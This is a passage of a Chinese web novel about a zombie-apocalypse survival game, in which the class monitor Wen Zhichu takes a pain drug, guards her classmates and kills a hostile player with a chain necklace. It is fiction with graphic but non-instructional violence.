她抬眼:“如果相信我的话,可以和我们一起来二楼。” 班长的话是一针镇定剂,她从来不说假话,说到的,永远都能做到。 此话落下,许多人放下了手。 校医搭话:“我能证明,我之前出去找物资,上楼下楼都是班长帮忙的。” 又有人落下了手。 李奂壬冷笑:“班长真是能力大哦…” 林林总总举手表意后,最后大概一半的人从二楼下,一半的人从东门离开。 最后一个表意的是晏逾明。 他看了眼温知初,又看了眼李奂壬他们,似乎在比较哪一方更讨厌一些:“班长,你确定你从二楼走?” 温知初:“嗯。” “行吧。”他笑了笑。 “那我从东门走。” · 人群散开后,邱任望喊住了温知初。 两个人聚在一起,坐在游泳池旁。 邱任望开门见山:“第一轮我选择查验赵平阴。” 他道:“明天中午出结果。” 他继续道:“我让将铭查验的是他们那个五人团体的另一个人,得后天中午才能出结果。” 温知初安静地听着,表示知道了:“如果是的话,我会找时机下手的。” “对了。”邱任望问,“你的武器抽取出来了吗?” Vent位和Carn位的武器抽取结果应该都出来了,抽取出来的武器,是唯一能杀敌方的道具。 据邱任望所知, Yu哥又抽中了铁管,将铭抽中了一把钳子,屈孚宁一如既往的运气很好,一把趁手的军刀。 邱任望:“小温,你抽出了什么?” 温知初从口袋中拿出了一个细长的铁质掉漆项链。 邱任望:“这个项链不能戴了,都掉漆了…怎么都没点儿装饰纯只有链子啊…我说武器道具,小温你给我看项链干什么。” 温知初:“这就是我抽中的武器。” 邱任望:“……” 邱任望:“………………………………” 邱任望憋了半天才憋出句话来:“小温,你可真是个…幸运E啊。” 两人继续聊着任务。 “有关<深渊>出口的剧情探索…”邱任望问,“你有思绪么?” 温知初望向他,略微摇头。 邱任望:“我也没有,没办法,一点提示也没有,也没有辅助设备。”他耸耸肩:“只能靠我们瞎撞了,唯一的指示…<深渊>的主题是末世是毁灭,我们尽量往真善美上靠,和<深渊>反其道而行,说不定能找到出口剧情。” 但也不一定,说不定出口恰恰不真善美。 现在讨论这个没意义。 邱任望:“你说…” [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 疼痛感明显加剧了,温知初手腕不易察觉地紧缩了一下。 邱任望敏感地察觉:“怎么了吗?” “没什么。”温知初的神情维持原样,“你继续。” “我是在想,”邱任望,“现在我们有没有必要和陈付讫他们打好关系,毕竟那什么市议长真的是他叔叔。就算救援队不一定是市议长派来的,可以接我们一起走但如果到时候陈付讫想办法不让我们见那个市议长的话,我们也没办法完成剧情目标。” “打理不好了。”温知初道,“我踹了他一脚。” 邱任望:“……” “他们是敌方,无论是否和他们打理好关系,都是对立的。”温知初道,“考虑这些没用,他们肯定会阻止我们的任务。” “确实没必要…”邱任望道,“抛开敌方的身份,人物设定上他们也不是那种能轻易被情谊约束的人。” 邱任望的想法本来就和温知初一样,只不过他习惯性地喜欢把这些想法和队友一起过一遍。 他道:“后面不管出什么事,都见机行事吧。” 温知初望向他包裹着纱布的左眼:“眼睛好些了么?” 邱任望摸向自己的左眼:“训练官说还得恢复一段时间,这次域如果我能出去的话,肯定还得昏迷一段时间,估计过了那段时间就能拆纱布了。” 他笑着说出这段黑色冷幽默的笑话。 这显然不在班长笑点上。 温知初:“所以在好转?” “嗯。”邱任望点头。 温知初:“那就好。” 两个人各自都有关键事件节点需要完成,恰好游泳池这里有人来了,他们站起身,分开离去。 夜幕降临,已经九点多了,明天早上七点还得出去,学生们找地方休息。 温知初走去仓库,仓库里面已经有人在休息了。 其他地方也基本都有人。 温知初回到白天待的一楼走廊,这里也有人了,不过还是白天那个人。 晏逾明。 她坐回自己白天的位置,地上还放着她没看完的书,拿起来,安静地开始看。 坐在她斜对面的晏逾明看了她一眼。 晏逾明手上拿着晚上领的面包,慢条斯理地拆开包装袋,他望向温知初:“班长,吃过晚饭了么?” 温知初:“没有。” 晏逾明:“为什么不吃?” 他漫不经心尝了一口面包:“准备成仙?” 温知初按照人物设定说话:“食物有限,我去的时候,已经没东西可领了。” 副班长没注意她到底在说什么,他皱起眉,看向手里的面包:“难吃。” 太甜了。 温知初没有管对面的动静,继续将书页往后翻。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 疼痛感又加强了。 耳鸣声非常强烈,已经到了影响她听外界声音的程度。 她没管。 与此同时,“啪嗒”一声,有东西从半空中扔了过来。 温知初抬手,下意识地接过了飞来的东西…一个…面包? 她望向对面的晏逾明。 副班长朝她略微挑眉:“这么难吃的面包我领了两袋。” 他道:“这一袋给你。” 说完,他也不管温知初的回复,把校服外套盖在头上,一幅已然睡过去的模样。 温知初沉默地望了望手中的面包,又望了望他,终究没说什么。 她把面包放到地上,继续看向手中的书。 夜色沉沉,时间随书页的翻动缓慢流逝,灯光忽明忽暗。 温知初也闭上双眼开始闭目养神。 凌晨五点,她睁开双眼。 场馆内安静到过分,没有任何声音。 温知初望向斜对面的晏逾明,他倚着墙睡着了,黑色的碎发落在额前,侧脸的轮廓被夜色映照得淡漠而疏离。 她站起身,把面包重新放到他身旁,俯身,顺手拾起掉在地上的外套,重新盖在他身上。 借着晦暗的灯光,温知初离开了走廊,走到无人的窗前。 窗外依旧黑得没有任何一丝亮光,风从窗户的缝隙灌进来。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 疼痛感已经剧烈到她无法正常使用关节了,抬起手的时候,整个肩胛骨连着后背僵硬地作痛。 这样不行。 两个小时后他们要出去,必须保证身体正常使用。 温知初安静地看着窗外的昏暗光影,从口袋里拿出那罐药。 打开,拿出一颗。 吞下。 第59章 [] [] [] [我刚才看到了什么,小温把那个药吃下去了吗? ] [楼上的,你来晚了,小温吃完药已经一个多小时了。 ] [为什么没有反应啊,还是站在窗边看景色,没有动静,和上次邱任望吃完药的反应不一样,上次邱任望可是痛晕过去了,而且产生了很严重的自杀倾向和幻觉,但是声明一下我肯定是不希望小温出问题的。 ] [对啊, 明明是同一种药啊。 ] [难道只是药瓶是一样, 药瓶里的药不一样? ] [总之,没有反应是最好的, 就怕出问题…] [幸好没有药效。 ] 只有034号知道药效有多严重。 它眼睁睁看着宿主的疼痛值在服下药的那一刻极速攀升,直接从46盼到了96…相当于从一个电子剥离痛的程度攀升到了三个剥离痛的峰值。 这感觉应该和在卡车下反复被碾压差不多… 在这一刻,它觉得平静地望着窗外的宿主恐怖到极点。 生理性地流出鼻血,宿主也只是拿纸擦拭干净。 唯一产生变化的,就是宿主的耐心值,下降了一格,往后的行动里,可能会变得没那么有耐心,易躁一些。 也就只有这么点变化了。 没有自毁倾向、没有歇斯底里, 没有疼到窒息…也许就眼睛变红了一些。 但034号也有观测不到的地方, 譬如温知初的视野。 她产生了幻觉。 外面的景色变得不再清晰, 她能看到瀑布般的血从地底往上涌, 爬上墙,从窗缝内挤了进来,粘稠爬上她的身体, 沾湿、包裹住她的衣服、皮肤,发丝,灌入耳朵中。 整个世界在血红的漩涡中不停地颠倒、晃荡,眼前的视野,眩晕成一片。 温知初之所以站在这里,就是在等待幻觉的后遗症褪去,就算没能褪去,也得等这猛烈的眩晕退潮。 034号因为好奇共享了宿主的视野,就共享了三秒,尖叫着断开了。 墙上的时针缓慢地往后转动,窗外的日光变亮。 早上六点五十了,大部分人已经背上背包,等 待着出场馆,他们紧张地跺着脚。 温知初看了眼墙上的钟,拎起地上的背包,斜挎起,也开始往外走。 起码四肢现在能正常使用了。 034号看着居高不下的疼痛值,担心地问:“宿主,你确定你这状态真的能出去吗?” 温知初:“我看起来有什么异常吗?” 034号从上至下地扫描宿主的外表:“没有…就是眼睛红了点儿…” 温知初:“嗯。” 她道:“那就行了。” 三步并成两步,她越过楼梯踏上二楼。 和她一起从二楼往下翻的学生们已经全都等在管理室外。 应该从东门出发的晏逾明,不知道为什么也站在人群里。 校医看到她:“班长,你来了。” 他有些疑惑地道:“你眼睛怎么这么红?” “红吗?”温知初轻描淡写,“可能发炎了吧。” “我看不像发炎了。”晏逾明走过来,垂眼盯向她,“班长,早上起来就没见到你人影。”他在她面前停住脚步:“是不是躲哪里哭去了?” 班长抬起眼,对上副班长的眼神。 晏逾明:“没关系,我知道,深夜让人脆弱。” 温知初不易察觉地提起唇角:“是吗?我并不这么觉得。” 她道:“可能副班哭了我也不会哭吧。” “那个…”校医一个不留意,不知道这俩孩子怎么呛上了。 班长和副班长的关系不对劲,他这个曾经和他们一起出去找物资的人最了解。 他站到两人中间:“都没哭,都没哭…副班长,你不是从东门走么,楼下该出发了,我们也该出发了…” 晏逾明越过校医盯着温知初,回了个漫不经心的笑:“行。” 他道:“走了。” · 十几个同学需要从二楼翻下去。 管理室外的窗户旁,学生们小心翼翼地往下看,就算胆子比较大的体育生也有些怵,担心下去的动静稍微大点,把丧尸引过来,到时候上又上不来,下又下不去。 校医劝解道:“没有看起来那么恐怖,大家都试试…” 温知初穿过人群,斜挎着包,默不作声地从窗户上翻了过去,在学生们惊讶的目光中,她弯腰下蹲,手掌扣在窗沿边,手臂收紧,踩到第一个空调主机的边沿,她抬头,朝窗户边的学生看:“下来吧。” “别怕。”她道,“我会接住你们。” 有了班长的话,学生们安心不少,胆子大的率先开始尝试。 刚往下攀的时候最难,根本不像班长往下翻得那么简单,得深呼几口气,在手臂和腿发颤的情况下才能艰难地一点一点挪下去,不过班长伸出的手,总会及时地撑住他们不平衡的身体。 有人差点摔下去了,在发出尖叫之前,温知初就拽住了他。 十几个学生,一个一个地尽量小声地翻下去,落地。 幸好还算顺利,没有吸引来其他地方的丧尸。 等所有人都落地后,温知初略微俯身,安静地翻了下来。 他们这里足够安静,东门却不知道发生了什么,学生们发出尖叫声,场馆周围的丧尸立马躁动起来,从四周拥挤向东门的方向。 [我就知道,敌方那些人肯定会造些乱子。 ] [估计他们这次的目标还是跟杀人有关。 ] 大群的丧尸涌动而来,两队学生慌乱地逃跑,在场馆外汇合在一起,按照之前说好的队型围起来。 外围的人用长武器驱赶包裹而来的丧尸,被包围在里面的学生们捂住嘴,不发出任何声音,紧跟住队伍,脚步不敢有任何怠慢。 但是…人少了。 人显然少了不止一个。 站在人群后侧的温知初转头。 在东门那里,紧堆着一群丧尸,伏在地上,啃咬着什么。 学生的手臂躺在地面,已经被啃咬得分不清是谁的手臂。年轻新鲜的血肉被掏开、肠子肺腑烂了一地。 她收回眼神。 “班长。”身旁传来陈付讫的笑,“这种事你应该不会怪我吧。” 他道:“他们自己跑的慢,可跟我们没有任何关系。” [就关你们的事。 ] [我刚才看到陈付讫和赵平阴推人了,绝对是他们干的。 ] [这些人是真坏啊…根本不把人命当成人命。 ] 温知初冷淡地看了陈付讫一眼,他依旧嬉皮笑脸的。 比起弹幕里对敌方的讨论, 034号更担心宿主的状态。 这居高不下的疼痛值…它担心宿主万一忍受不了不慎摔倒之类的,死在丧尸堆里真就死得太冤枉了。 不过从表面看倒是挺正常的,就是耐心值又下降了一格。 温知初平稳地跟着队伍,负责断后。 她单手握住支杆,侧身躲过一只丧尸,站稳,抬手将支杆捅入丧尸的眼眶,顶端的铁尖插进去,温知初转动手腕,丧尸在脑袋悬转中倒地。 没有停顿,支杆被她瞬间拔出来,砸向另一只扑过来的丧尸。 她一边击退丧尸一边往前跑。 前面的队伍一会儿快、一会儿慢,跑跑停停。 丧尸比想象中多很多,三十几个人的队伍行进得非常慢。 “实在是太多了。”有学生道,“前面有人受伤了…” 人群让那个受伤的学生进了包围圈里,换人到外面抵抗。 “这也太多了…体力消耗太大,根本没办法一口气到礼堂楼,前面丧尸越来越多,都被吸引过来了啊。” 有人害怕地想要哭叫,被人及时捂住了嘴:“不想死就别叫。” “我们先到综合楼一楼躲会儿,现在我们绝对没办法直接跑到礼堂楼。” 学生们往就近的综合楼跑,不知道因为什么,远远地看过去,综合楼那里的丧尸显然比其他地方都少。 [还能因为什么,因为上一轮被小温清过一次了。 ] 但就算那里丧尸少,跑到那儿还得有几百米,中间还得慢慢厮杀过去。 “人多就是不好。”陈付讫不耐烦地开口,“走得这么慢。” 几百个丧尸密密麻麻地围聚在四周,腐烂的身影锲而不舍地往队伍里扑,嘶吼声此起彼伏,不断想要撞散这群队伍。 混乱中,陈付讫伸出手,胳膊肘猝不及防而用力地撞向身前的陈玉清,陈玉清一个磕绊,猛地往外倾倒。 只要有一个人摔倒,在这种情况下,绝对是连环型的摔倒,队伍立马就会散。 陈玉清一头冷汗,眼见着身体就要失去平衡,身后伸出一只手,把她整个人往后拽,拽出了包围圈内。 队伍里几个人磕绊了一下,但因为陈玉清被猛地拽了出去,没有人摔倒。 陈玉清大口呼吸着,惊魂不定地望向温知初,刚想说一声谢谢班长,队伍后面好几个丧尸扑了过来,她瞪圆了眼几乎忘记呼吸。 “砰”的几声,扑过来的丧尸被温知初用支杆撞了出去。 温知初:“回队伍。” “好…”陈玉清集中精神,重新走回包围圈内。 陈玉清回到原来的位置,皱着眉朝身后的陈付讫低声道:“你别推我。” 陈付讫嬉皮笑脸的:“对不起啊四班的同学,可我又不是故意的…” 嘴上这么说,走路不成个正形,不仅不管后面的丧尸,而且还往前挤,有好几次都快踩到其他人脚后跟儿了。 一顿故技重施后,另一个同学也被胳膊肘猛得一捅,往前扑。 温知初回头,反手拽住了那人的后衣领子,没让他摔下去。 转过头,冷淡地望向陈付讫。 陈付讫笑着:“班长,这不关我的事啊。” 他道:“不小心的,我保证下次不这样了。” 他的保证根本没用,班长需要断后,不可能一直盯着他,见温知初没有再看他,又开始有意无意地往前面挤,似乎再筹备来个大动静。 [这人该不会想把队伍直接撞散吧。 ] [他要是真这么大动静的话,队伍一散,那些丧尸立马就会涌过来的。 ] 034号依旧没心思关注弹幕,胆战心惊地盯着宿主那居高不下的疼痛值,这疼痛感竟然还在不断升高。 这个药太可怕了,宿主也太可怕了…以痛止痛么? 其他体征依旧没有变化,不过耐心值又下降了一格。 宿主原来的耐心值是它见过的最高的,是满值, 10。 服完药后,随着疼痛值的升高,耐心值一格格地降低,最终来到了现在的7 。 其实034号也不知道耐心值能对宿主有什么影响,估计…就是变得没那么耐心了? 可是宿主平稳地断后的模样,看起来和之前也没有什么差别啊… “喂。” 温知初朝身旁不停撞人的陈付讫开口:“事不过三。” 陈付讫冷笑着,一幅你能拿我怎么样的模样:“什么事不过三?” 他敞开天窗说话:“反正无论我怎么做,你也没办法拿我怎么样是不是?” “我知道…”他笑着,“你们这轮的剧情目标需要靠我这条线才能完成…和上一轮一样…你们动不了我…” [他怎么知道TRES的剧情目标是什么啊? ] [敌方的权限呗… <深渊>对自己的狗可真好,给这么多优势和权限。 ] “所以…”陈付讫明目张胆地屈起身,要往前撞的模样,“班长,你就忍着吧。” 他身旁的赵平阴也笑出了声,和他对上眼神:“兄弟,一起?” 两个人不顾前面人的安危,拼命地往前挤。 [卧槽,太可恶了这些人,不把别人的命当回事。 ] [怎么办啊,现在又办不了他们。 ] 陈付讫甚至往后退了几步,来了个助力,就要往人群里用力撞去。 温知初冷淡地抬眼,转过身,一手把支杆从丧尸的头颅中拔出来,另一只手精准地拽住陈付讫的衣领子—— 陈付讫笑着正准备挣脱,温知初松手,抬腿,毫不停留地踹向了他的肋骨。 “砰!”力道之狠,就近的赵平阴清晰地听到了骨头碎裂的声音,他惊楞地停下脚步。 陈付讫整个人失控地后仰,瞳孔骤缩,猝不及防摔进丧尸群里。 [!] [!!!!!] [!!!!!!!!!] [!!!!!!!!!!!!!!!!!!!!!!!!] 弹幕一阵惊喘。 034号:[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!] 它终于知道耐心值的下降意味着什么了。 宿主说事不过三不是在开玩笑,是真的…事不过三。 温知初平静地望向跌入丧尸群的陈付讫,直到他完全被淹没。 第60章 “后面有人掉丧尸堆里去了!” “谁啊!” “看路, 别叫,不能停下来,继续往综合楼跑!” 学生们因为队伍后方的消息更加加快了脚步, 生怕下一个掉进丧尸堆的人成了自己。 后面的人则是不可置信地望着那群低头围剿食物的丧尸,已经能看到有新鲜的血液在不停地往外流。 陈付讫显然凶多吉少了。 被这么多的丧尸围进去,怎么也逃不出来的。 [卧槽陈付讫真的被丧尸堆淹了。 ] [作为敌方,他因为这一轮的身份显然松懈了,竟然没有防备可能会被推进丧尸堆里。只顾着推别人,没想到自己也会被推吧… ] [说实话, 市议长那条线得靠他, 谁敢推他啊…可是小温没按常理出牌…] 后面的丧尸都涌向陈付讫那里,奔涌向学生们的丧尸一下少了好多。 后排的学生们心情复杂地望着不远处,不知道如何是好。 怎么偏偏是陈付讫,如果他死了… “是她推的!”赵平阴突然喊出声。 本该震惊所有人的话, 没人相信。 谁也没看见班长动手,更不相信班长会动手。 “真是她推的我兄弟!”赵平阴继续喊,虽然喊着,但也没见他去救自己的兄弟。 “别添乱了。”有人道。 班长不可能做这样的事。 他们也知道赵平阴这群人是个什么德性。 事情发生在一瞬间, 学生们根本来不及、也不敢去救陈付讫,只能继续往综合楼跑。 温知初却停住了脚步:“你们继续去综合楼,我去找他。” 说完,众人没反应过来,班长的身影已经消失在丧尸群中,她朝着陈付讫的方向跑去。 · 敌方确实掉以轻心了。 正是以为自己不会被下手, 才会来不及应对突然的变动,陷入如此大的麻烦。 作为S级,陈付讫不弱。 但再怎么强,也无法在毫无准备的状态下应对这么多丧尸,在被推进丧尸堆的那一瞬间,他就被咬了。 被咬后,身体被恐慌和不可置信的情绪占据,阵脚就乱了。 被咬,意味着无论这次他们队伍赢或者不赢,对他来说全都没意义。 他将永远被留在这里,以丧尸的形式。 身体本能地还在战斗,丧尸不断地撕扯陈付讫的四肢,他甩开,用刀杀出一条路,但是杀多少丧尸,就有多少丧尸涌过来,源源不断。 有丧尸甚至踩着其他丧尸的身体跳过来。 他现在就如同处于蚁xue的洞口,丧尸如同密集的蚂蚁般不断地从四面八方积聚而来。 腿被咬了,皮肉被撕开,疼痛让陈付讫跪下身,丧尸们见缝插针地从背后咬住他的肩膀,更多的丧尸围过来,刀再怎么挥舞,也甩不开死死地咬着他脖子的那些丧尸。 陈付讫的身子越来越矮,手艰难地往外伸,却怎么都伸不出去。 等他从丧尸群里逃出来的时候,身上已经没有几块好肉,他狰狞地睁大双眼,机械性地挥舞着刀。 他快要尸变了,丧尸已经对他的血肉不再感兴趣。 但是温知初对他感兴趣。 看到温知初出现在他面前,陈付讫的脸上出现怨毒无比的神情。 “去死!去死!”他尖叫着,刀挥舞向温知初。 温知初略微往后退一步,避开从斜后方扑过来的丧尸,也躲开刀的挥势。 “啪”得一声,刀被温知初给踢开了。 陈付讫因为尸变难以控制自己的四肢,跪在了地上,抽搐地朝温知初大喊:“你去死!你去死!我要杀了你!你过来!我要杀了你!” 他的眼中充满了仇恨:“就是因为你,我才没办法回去了!我要杀了你!” 温知初走到他身后,平静地手腕上摘下绕成圈的铁质项链,她垂眼望向他:“还有什么想说的吗?” 陈付讫重复着:“我要杀你了!我要杀了你!” “好。”温知初平和地道,“知道了。” 她抬起手,冰凉的项链套在了陈付讫的脖子上。 兀然收紧,锋利的铁链切口嵌入皮肉,越来越紧、越来越紧… 陈付讫的脸憋得通红,说不出任何话来,猛烈地挣扎撞动,但勒在他脖子上的力道稳如磐石,没有丝毫的晃动。 温知初冷静地继续收紧手上的力道,其下的动静挣扎,抽搐…挣动的幅度越来越小,直到彻底停滞。 陈付讫垂下勒脑袋。 死寂。 温知初松开手,沾满血的链条被她重新收回来,她略微弯腰,捡起地上的支杆。 陈付讫死了。 [TRES已戮杀敌方一人,陈付讫确认死亡。 ] 电子音响起的同时,支杆的顶端用力地扎进勒陈付讫的头颅。 钝响之后,血肉破裂,骨骼塌陷。 搅动后,支杆拔了出来。 啧。 没有数据核。 温知初直起身,深黑的双眼毫无波澜,她望向快要奔过来的丧尸群。转身,毫不迟疑地离开。 徒留一地荒芜。 · <深渊>的播报声响起,所有参赛队员都能听见。 TRES的队员能听见,敌方的队员也能听见。 陈付讫死了。 [TRES已戮杀敌方一人,陈付讫确认阵亡。 ] 综合楼一楼,学生们全都挤在一楼的监控室里,气喘吁吁地大喘气。 一路上奔波到这里,体力跟不上,如果再不停下来休息,真的就得交待在外面了。 幸好综合楼还算安全。 原本还可以更安全的,那些外面的丧尸为了追他们也涌进了综合楼,在门外游荡。 监控室的门倒是没有坏,上完锁,外面的丧尸一时半会儿进不来。 “就,”学生喘着气,“就休息到外面的丧尸散了吧。” “我、我实在没有力气了,水、水,我需要水。”有人直接瘫坐到了地上。 不少人受伤了,开始处理伤口。 人群中,有几个神情异样的,显然是因为他们和其他学生不同,能听到<深渊>的广播音。 陈付讫…死了? 章诎和邱任望交换了一个眼神,邱任望不可置信地耸了耸肩。 陈玉清环顾四周:“班长呢?” 她问:“班长人呢?” 其他人道:“我看到班长去救陈付讫了。” “是,我也看见了,陈付讫不是掉丧尸堆里了吗,”有人抬起头,“班长就去救了。” 大家都知道只要掉进丧尸堆里,就算不死也会被咬,陈付讫应该救不回来了。 有人呢喃道:“班长可千万别出事啊。” 其实没必要去救那个救不回来人的…死的为什么偏偏是陈付讫啊…以后碰到救援队了该怎么说啊。 “砰”的一声,赵平阴的脚踹在门上。 “班长去救陈付讫?!救个屁!”赵平阴骂道,“陈付讫就是被她推进丧尸群里的!” 赵平阴吼得很大声,但是没人相信。 “小声点!”有人低声喊道,“你想把外面丧尸全都吸引过来吗!” “至于吗,知道你死了兄弟很难受,可当时你兄弟陷入丧尸堆的时候,怎么没见你去救呢?唯一去找他的是班长啊,你还想把脏水泼在班长身上?” 赵平阴:“你们是班长的狗吗,这么相信她的话了,我都说了,我亲眼看见她把陈付讫推走的,我、亲、眼、看、见、的!” 没有人理睬他。 大家都不能理解都这种时候了,赵平阴为什么还要闹事儿,纷纷不再和他理论。 也就七班的那两个刺头还站在他身后,和他一起嚷嚷。 李奂壬走过去,拍了拍他的肩,示意他冷静点儿,在他耳边说了几句话,赵平阴这才没有再大嚷大叫。 他们四个人站在门边,一脸冷笑着,神色俱是不佳。 现在陈付讫没了,班长也不在,话语权最高的似乎成了陈付讫最好的哥们儿李奂壬,大家也不愿意多得罪,甚至还有人主动破冰:“…你们要不要上药?” 李奂壬没理睬,从怀里掏出一盒烟,拿出一根给赵平阴,两人一人一根地抽着,密闭的空间内,烟味儿弥漫开来,味道尤其得大。 [真埋汰啊这些敌方,所有人都在吸他们的二手烟。 ] [话说赵平阴确定是敌方的人了吗? ] [还在查验中,过会儿过了十二点后,邱任望那儿应该就能知道结果了。 ] [赵平阴怎么可能不是,就他这表现,绝对是啊。 ] [话说陈付讫死了真的没问题吗…] 学生们也在想着陈付讫的死。 救援队…市议长…无解啊。怎么就死了呢… 有人往窗户外看:“我听到动静了,有人往这儿跑过来了,是不是班长啊?” “也有可能是副班长,副班长也没回来。” 由于副班长太孤僻,到这会儿大家才发现副班长也没进监控室躲着。 那人道:“看清了,是班长。” 命真大啊,一个人越过丧尸堆来的,竟然还活着。 “那个”有人心怀期望,“陈付讫跟着吗?” 那学生摇头:“没…” 想也不可能。 “快点把门打开吧,”有人道,“班长要回来了。” 此话落下之前,赵平阴拿着个凳子,大刺刺地坐到门前,盘起一只腿,后背靠在门上:“我看谁开门,从我身上先跨过去。” “不是,你什么意思。” 赵平阴:“就你现在看到的意思。” “班长要回来了啊。”有学生道。 赵平阴:“她回来她的,我不可能让杀陈付讫的人进这个门。” “做人不要这么自私,你挡在这儿,班长往哪里走?” “一路上没见你帮我们,全都是我们高三四班的人在外围,你凭什么不让班长进来!” 人群争执起来,赵平阴和其余三人围在门前,就不让他们开门:“你们眼睛瞎,我眼睛可不瞎,无论你们怎么说,现在这个门我都不开。” 将铭走上前,抓起赵平阴的领子,赵平阴被拽得抬起上身,依旧一脸冷笑:“怎么,想打架?” 他身后的李奂壬往前走。 邱任望也走到将铭身后。 有同学道:“还是别闹出太大动静了。” “小声点,外面丧尸都被引过来了。” 李奂壬笑道:“听见了吗,同学们让你们小声点。” 监控室内的动静太多,外面吸引来不少丧尸,撞门的声音不断地响起,里面的人却看起来要打起来了。 就在这个时候,门口传来了丧尸被踢翻的声音。 “咚咚咚”门口传来沉稳的敲门声。 是班长。 监控室内安静了下来, “别吵了。”门外的声音平静而低,“我不进去。” “我找其他地方落脚,下午出去的时候再会合。” 简单明了的两句话说完后,门内听到逐渐远去的脚步声,门内门外都安静了下来,再没有更多动静。 温知初避开丧尸,三步并成两步,走进一楼的杂物室。 杂物室的地理位置很好,很方便躲避,也很方便从综合楼里出去,在这个位置,能看到门那里各个方向的情况。 就是门锁坏了。 温知初走进杂物室,在那些丧尸冲进来之前关上了门,拉起就近的柜子,直接堵到门口。 丧尸“啪啪啪!”在外面撞,嘶吼声急切地撞击着门板,脸在门板上不停地蹭动。 杂物室内黑而小,因为有个大柜子挡着,更显得逼仄。 用柜子抵住门板,确认门不会被撞开后,温知初放下了背包,安静地往后退,想让后背撑在墙上休息。 但是退后了一步后,她的后背…撞在了一个温暖的身躯上。 [!!] [我去,我都没注意到,里面除了小温怎么还有个人啊! ] [我刚才也没注意到,这一声不吭地站在这么黑的地方,跟影子一样,吓我一跳! ] [谁啊! ] 狭隘的空间内,温知初后退了一步,就这么撞到了身后人的怀里。 那道高大修长的身影,就这么默不作声地看着她朝自己靠近。 “班长…” 晏逾明垂眼,意味不明地望向怀中愣住的温知初:“什么意思?” “耍流氓?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 在撞上人的同时温知初就下意识地绷紧身体, 站直后,她转身。 杂物间实在堆了太多东西,太狭隘, 就算后背已经紧贴在柜子上, 她和晏逾明之间的距离不超过两个拳头。 温知初靠在柜子上,视线不自然地偏移:“你怎么不说话…” “没机会啊班长。”晏逾明垂眼盯着她, “你进来后就开始推柜子了,一个流程过来,我该跟你说什么…跟你说中午好么?” 是副班长的口吻… 只有他们两个人在的时候,其实可以不再受人物设定的局限…可为什么还是副班长的口吻,是因为还有关键事件节点的局限么? 034号: [哪有这么多关键事件节点啊。 ] [我阴谋论一下。 ]它道, [男主就是想借由副班长身份,保持和你针锋相对的状态,维持本性。 ] 034号: [就像班长有假面一样, TRES的那个Yu是男主的假面,他真实的性格本来就这么恶劣。 ] 034号对男主的腹诽显然没有被宿主听进去。 温知初瞥了晏逾明一眼,不着痕迹地往左挪,错开两人之间的距离。 门外的丧尸还没散, 撞击声没停,温知初缓慢地坐到背包上,背靠在柜子上, 震动声在背后不断响起。 晏逾明依旧站在她的斜对面, 百无聊赖地往外看。 班长和副班长之间显然没有什么话要聊,沉默在狭小的杂物间内弥散。 不知道多久过去了, 外面终于没有动静了,杂物间变得无比安静。 晏逾明也坐下了,他望向对面的温知初:“陈付讫是你杀的?” “嗯。”温知初低声道。 她开口:“对不起, 我冲动了。” 晏逾明望着她:“确实要比你以往行事看起来冲动了些,不过…” “如果是老钱的话,也许会这么说你。”他道,“我不是老钱,不必对我说对不起。” 此话落下,又是沉默。 好像抛开班长和副班长的身份后,他们之间似乎也没什么好说的。 晏逾明的视线始终落在她身上。 他问:“杀了陈付讫,局势还在你的可控范围内么?” 温知初轻微地颔首:“在。” [了解小温的人都知道,她从来不说虚话。 ] [其实陈付讫死了很好不是么? ] [起码剧情目标的重担轻了一点,放到最后不一定能杀得了陈付讫,到时候戮杀敌方的重担可就重了。 ] [但是救援队还有那个市议长,到时候真的针对小温怎么办啊… ] [按照小温的脾性,估计边走边看,把责任推到自己身上就行了…话说身体不舒服真的很影响行事,毕竟她这个人物设定本来身体状况就不好,又吃了那个药,邱任望上一轮吃完后可就完全不能自理了。 ] [我看她没怎么不舒服啊,别是假药吧。 ] 看到弹幕的034号很无语,真想让那些觉得宿主没怎么不舒服的人也尝尝这药。 <深渊>的恶意越来越明显了。 服药后不到七个小时的现在,[注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ]的声音再次响起。 034号能察觉到宿主的四肢变得紧绷,又变成了没吃药之前的那种、除了疼痛也无法归束四肢的状态。 吃药和不吃药其实没什么区别。 不吃药可能没那么疼,但是会失去对身体的控制,留在原地就是死。 吃药虽然会恢复对身体的控制权,但也会加倍地疼痛,产生幻觉,如果频繁地吃这个药,很大可能也会致死。 只不过从外表看,宿主像是没什么影响罢了。 就像很早就习惯了这一切。 [话说,只有我一个人觉得我这一轮行事冲动些是应该的吗,我目前为止反而觉得小温杀了陈付讫是对的。 ] [楼上的,何出此言? ] [你们别忘了,这一轮他们还得探索剧情啊,既然没有仪器辅助,是不是行事确实得极端一些,才能撞到剧情的边界啊?说不定杀了此时最不应该杀的陈付讫所产生的连锁反应,恰恰是通往出口的路。 ] [我也是这么觉得的,如果现在所有的行事都和前两轮一样,怎么探索出新的、通往出口的剧情啊。 ] [在人物设定所归束的范围内,确实得极端点儿做事,才能扩大剧情的边界。 ]034号问, [宿主,你也是这么觉得才会那么做的吗? ] 温知初低声应了声:“算是。” 双臂开始发麻,她垂着眼,后面034号再问什么,她没有再应答,平稳地坐着,不想让其他人看出她的异常。 杂物间内,安静到有些过分了。 其他人晏逾明确实一直盯着温知初,眼神晦暗不明,像是在研究着什么。 温知初轻微地抬眼:“为什么要一直看着我。” 晏逾明挪动,鞋子轻轻地抵在她的鞋尖前:“我还想问你,为什么坐那么远?” 他问:“班长,我是什么洪水猛兽吗?” 远吗? 就算错开来坐,因为杂物间太小,两人之间其实也很近,再近一些,就能听到对方的呼吸声了。 “换个位置?”晏逾明问,“你坐那么角落不难受么?” 温知初略微摇头:“不会。” “不用。” 怎么可能不难受… 034号看着宿主的疼痛值…虽然不是因为坐在角落而难受。 温知初闭上双眼:“我睡会儿。” “副班,”她道,“到时间了喊我可以吗?” 低沉的声音漫不经心地传来:“嗯。” 过了一段时间,晏逾明也闭上了双眼,两人共享一个狭隘寂静的房间。其实也说不上有多寂静,毕竟外面丧尸游荡的声音没有停过。 偶尔会有轻微的晃动感从温知初身后的柜子上传来。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 温知初睁开双眼。 